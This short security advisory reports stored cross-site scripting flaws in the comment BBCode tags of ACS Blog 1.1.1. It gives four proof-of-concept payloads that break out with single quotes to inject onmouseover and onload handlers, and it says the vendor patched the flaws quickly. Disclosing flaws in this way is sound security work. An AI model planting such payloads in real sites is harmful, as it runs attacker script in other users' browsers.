ACS Blog version 1.1.1 is susceptible to multiple cross site scripting attacks.
0c6942c90bd3e4344142bcb9a42ec2ca5feae9635b10587ede08a046069e3c05
These vulnerabilities have been tested on the latest version of ACS Blog. (v1.1.1)
In the comments section of ACS Blog, it is possible to execute an XSS attack through the [link], [mail], and [img] tags, due to lack of filtering of single quotes and spaces inside the tags.
Examples/PoCs:
[link=http://www.google.com' onmouseover='alert("XSS vulnerability")' o=']Don't you wanna see where this link goes?[/link]
[mail=bugtraq@securityfocus.com' onmouseover='alert("XSS vulnerability")' o=']Mr. Wiggles[/mail]
[img]http://www.example.com/image.jpg' onload='alert("XSS vulnerability")' o='[/img]
[link=http://www.google.com target=_blank'
onmouseover=a=/Vulnerability/;alert(a.source) o=']Hooray[/link]
----------
Vendor responded within 2 hours of notification, notified users with the security alert on its main page, and patched the vulnerabilities within another couple of hours.
----------
Cheers,
Dan